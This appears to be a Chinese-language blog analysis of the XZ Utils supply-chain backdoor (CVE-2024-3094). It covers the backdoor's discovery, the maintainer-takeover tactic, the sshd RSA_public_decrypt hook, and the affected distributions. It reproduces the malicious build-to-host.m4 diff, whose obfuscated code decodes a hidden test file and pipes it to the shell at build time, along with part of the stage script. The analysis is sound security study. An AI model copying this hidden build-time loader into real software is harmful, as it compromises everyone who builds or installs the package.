xz是几乎存在于所有Linux发行版中的通用数据压缩格式,流行的Linux压缩工具XZ Utils被发现存在投毒供应链攻击,该后门通过 SSH 身份验证进行 RCE。,影响5.6.0和5.6.1版本,CVSS评分10分.
事件发现j是在2024 年 3 月 29 日,微软PostgreSQL开发人员Andres Freund 发了一封电子邮件给oss-security,说在 xz/liblzma 中发现了一个后门,涉及混淆恶意代码的供应链攻击。Andres 的电子邮件里有对整个故事精彩描述。还有有趣的部分是带有混淆后门的二进制文件本身,邮件原文在这:(https://www.openwall.com/lists/oss-security/2024/03/29/4)
有很多人在推上讨论说很大可能是国家级的供应链攻击, XZ攻击的复杂程度和攻击模型流程都非常夸张,很多开源社区近期都在筛查这种同类问题,也算是因此推动了开源社区的反间谍类安全意识问题发现。
故事大概是:
OpenSSH依赖一个名为liblzma(xz)的小众开源压缩库,攻击者虚构了一个名为"Jia Tan"的开发者身份,从2021年10月开始为xz项目积极做开发维护贡献,逐渐获得信任。
并最终接管了维护工作后,在构建脚本中逐步加入一个复杂隐蔽并复杂混淆的后门,而且是几个月内慢慢的添加所有组件,组合成了完整的后门,接着还联系Linux发行版维护人员,试图让带后门的xz库被打包分发给所有用户,直到微软员工Andres Freund因调查SSH延迟问题发现了此事。
发现也很巧合,Andres Freund在分析一台运行Debian Sid的Linux设备SSH登录速度过慢问题时(有500毫秒的延迟和大量的CPU消耗问题,而且他在使用“Valgrind”工具进行分析和内存调试时遇到了许多报错,也促使他有进一步调查的想法),最张立发现了该后门。而且RCE也非常聪明,将有效负载隐藏到将要发送到 SSH 的专门制作的密钥里。
分析部分:
很值得我关注的部分一是整个新式攻击手法模型,二是混淆手段和思路,还有就带有后门的混淆二进制文件本身了。这后门是给了一个CVE的,编号是CVE-2024-3094,受影响的xz/liblzma 有两个版本:5.6.0 和 5.6.1。
Andres Freund 邮件原文有后门程序的详细分析,但由于发现者不是安全研究人员,也不擅长逆向,所以都是以观察分析类发现为主。
推上@Thomas Roccia也制作了分析图:
后门设计分析
此后门程序包含多个组件。在高层次上:
上游发布的发布压缩包与 GitHub 的代码不同。这在 C 项目中很常见,因此下游使用者不需要记住如何运行 autotools 和 autoconf。发布版中的压缩包版本 build-to-host.m4
与 GitHub 上的上游版本有很大不同。git 存储库中的 tests/
文件夹中也有精心设计的测试文件。这些文件位于以下提交中:tests/files/bad-3-corrupt_lzma2.xz
(cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0, 74b138d2a6529f2c07729d7c77b1725a8e8b16f1)tests/files/good-large_compressed.lzma
(cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0, 74b138d2a6529f2c07729d7c77b1725a8e8b16f1)由 build-to-host.m4
调用的脚本解压缩此恶意测试数据,并使用它来修改生成过程。IFUNC 是 glibc 中允许间接函数调用的一种机制,用于执行 OpenSSH 身份验证例程的运行时挂钩/重定向。IFUNC 是一种通常用于合法事物的工具,但在这种情况下,它被用于此攻击路径。
build-to-host.m4
,用于在构建过程中执行脚本。build-to-host.m4
及其作用的解释:if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
如果 amd64/x86_64 是构建的目标 如果目标使用名称 linux-gnu
(主要是检查是否使用了 glibc)
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
后门设计细节
$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
dnl This file is free software; the Free Software Foundation
dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
dnl Define somedir_c.
gl_final_[$1]="$[$1]"
+ gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
dnl Translate it from build syntax to host syntax.
case "$build_os" in
cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
[$1]_c_make='\"$([$1])\"'
fi
+ if test "x$gl_am_configmake" != "x"; then
+ gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+ else
+ gl_[$1]_config=''
+ fi
+ _LT_TAGDECL([], [gl_path_map], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+ _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+ _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
AC_SUBST([$1_c_make])
+
+ dnl If the host conversion code has been placed in $gl_config_gt,
+ dnl instead of duplicating it all over again into config.status,
+ dnl then we will have config.status run $gl_config_gt later, so it
+ dnl needs to know what name is stored there:
+ AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
])
dnl Some initializations for gl_BUILD_TO_HOST.
AC_DEFUN([gl_BUILD_TO_HOST_INIT],
[
+ dnl Search for Automake-defined pkg* macros, in the order
+ dnl listed in the Automake 1.10a+ documentation.
+ gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+ if test -n "$gl_am_configmake"; then
+ HAVE_PKG_CONFIGMAKE=1
+ else
+ HAVE_PKG_CONFIGMAKE=0
+ fi
+
gl_sed_double_backslashes='s/\\/\\\\/g'
gl_sed_escape_doublequotes='s/"/\\"/g'
+ gl_path_map='tr "\t \-_" " \t_\-"'
changequote(,)dnl
gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
changequote([,])dnl
payload 有效载荷
如果正在运行的程序具有进程名称 /usr/sbin/sshd
,则有效负载将激活。放入sshd
/usr/bin
其他文件夹的系统可能容易受到攻击,也可能不容易受到攻击。它也可能在其他场景中激活,甚至可能与 ssh 无关。 我们不知道有效载荷的目的是做什么。我们正在调查。 Vanilla 上游 OpenSSH 不受影响,除非其依赖项链接 liblzma
之一。Lennart Poettering 曾提到它可能通过 pam->libselinux->liblzma 发生,也可能在其他情况下发生,但是...... libselinux 没有链接到 liblzma。事实证明,这种混淆是因为 Fedora 中一个旧的仅限下游的补丁和 RPM 规范中陈旧的依赖关系,这种依赖关系在删除后很长一段时间内仍然存在。 PAM 模块在进程 AFAIK 中加载得太晚,无法正常工作(另一个可能的例子是 pam_fprintd
)。Solar Designer 在 oss-security 上也提出了这个问题。有效负载被间接加载到中 sshd
。sshd
通常修补以支持 systemd-notify,以便在 SSHD 运行时可以启动其他服务。liblzma
加载,因为它依赖于libsystemd
的其他部分。这不是systemd的错,这是更不幸的。大多数发行版使用的补丁都可以在这里找到:openssh/openssh-portable#375。更新:OpenSSH开发人员正在考虑添加systemd-notify协议的非库集成,这意味着发行版将不再 libsystemd
支持补丁。如果此有效负载加载到 openssh sshd
中,则该RSA_public_decrypt
函数将被重定向到恶意实现中。我们观察到,这种恶意实现可用于绕过身份验证。正在做进一步的研究来解释原因。Filippo Valsorda 共享分析表明,攻击者必须提供一个由有效负载验证的密钥,然后将攻击者的输入传递给 system()
,从而提供远程代码执行 (RCE)。
xz bits
Jia Tan 的 328c52da8a2bbb81307644efdb58db2c422d9ba7 提交在 CMake 检查中包含一个 .
landlock 沙盒支持。这导致检查始终失败,因此没有检测到缺少支持。check_c_source_compiles
有人提议对 CMake 进行强化(参见其他项目)。IFUNC 由 Hans Jensen 在 ee44863ae88e377a5df10db007ba9bfadde3d314 中为 crc64 引入。 Hans Jensen 后来继续要求 Debian 在 https://bugs.debian.org/1067708 中更新 xz-utils,但对于热心的用户来说,这是一件很常见的事情,所以它不一定是邪恶的。
人员分析
Lasse Collin (Larhzu) 从一开始就维护 xz(~2009 年),在此之前, lzma-utils
.Jia Tan (JiaT75) 在过去 2-2.5 年内开始为 xz 做贡献,并在大约 1.5 年前获得了提交访问权限,然后获得了发布管理员权限。他于 2024 年 3 月 31 日被撤职,因为 Lasse 开始了他未来的长期工作。
payload分析
xz/liblzma:由 @gynvael 解释的混淆部详解https://gynvael.coldwind.pl/?lang=en&id=782 菲利波·瓦尔索达(Filippo Valsorda)的分析线程https://bsky.app/profile/did:plc:x2nsupeeo52oznrmplwapppl/post/3kowjkx2njy2b 通过 @smx-smx (WIP) 进行 XZ 后门分析https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504 XZ 后门文档 Wiki 由 @Midar et 提供。铝https://github.com/Midar/xz-backdoor-documentation/wiki modify_ssh_rsa_pubkey.py by @keeganryan - 脚本来触发受感染 sshd
的有效负载的更多部分xz-恶意软件https://github.com/karcherm/xz-malware xz-后门https://github.com/hamarituc/xz-backdoor
Distro | Notes | Package | Affected versions | Fixed versions |
---|---|---|---|---|
RedHat | Red Hat Enterprise Linux (RHEL) is not affected, but Fedora 41 and Fedora Rawhide are affected. | xz | Fedora 41 and Fedora Rawhide | RedHat has advised users to immediately stop any instances of Fedora 41 or Fedora Rawhide. |
Debian | No Debian stable versions are known to be affected, but non-stable branches are affected. | xz-utils | From 5.5.1alpha-0.1 up to and including 5.6.1-1 | 5.6.1+really5.4.5-1 |
Kali Linux | Affects Kali installations updated between March 26th to March 29th. | xz-utils | 5.6.0-0.2 | Upgrade to the latest version |
OpenSUSE | openSUSE maintainers have rolled back the version of xz on Tumbleweed on March 28th and have released a new Tumbleweed snapshot (20240328 or later) that was built from a safe backup. | xz | 5.6.0 5.6.1 | 5.6.1.revertto5.4 |
Alpine | - | xz | 5.6.0 5.6.0-r0 5.6.0-r1 5.6.1 5.6.1-r0 5.6.1-r1 | 5.6.0-r2 5.6.1-r2 |
Arch | The following release artifacts contain the compromised package: (1) Installation medium 2024.03.01, (2) Virtual machine images 20240301.218094 and 20240315.221711, (3) Container images created between and including 2024-02-24 and 2024-03-28 | xz | 5.6.0-1 | 5.6.1-2 |
Gentoo | Gentoo recommends downgrading to an older version. | xz-utils | >= 5.6.0 | < 5.6.0 |
FreeBSD | Not affected. | - | - | - |
Amazon Linux | Not affected. | - | - | - |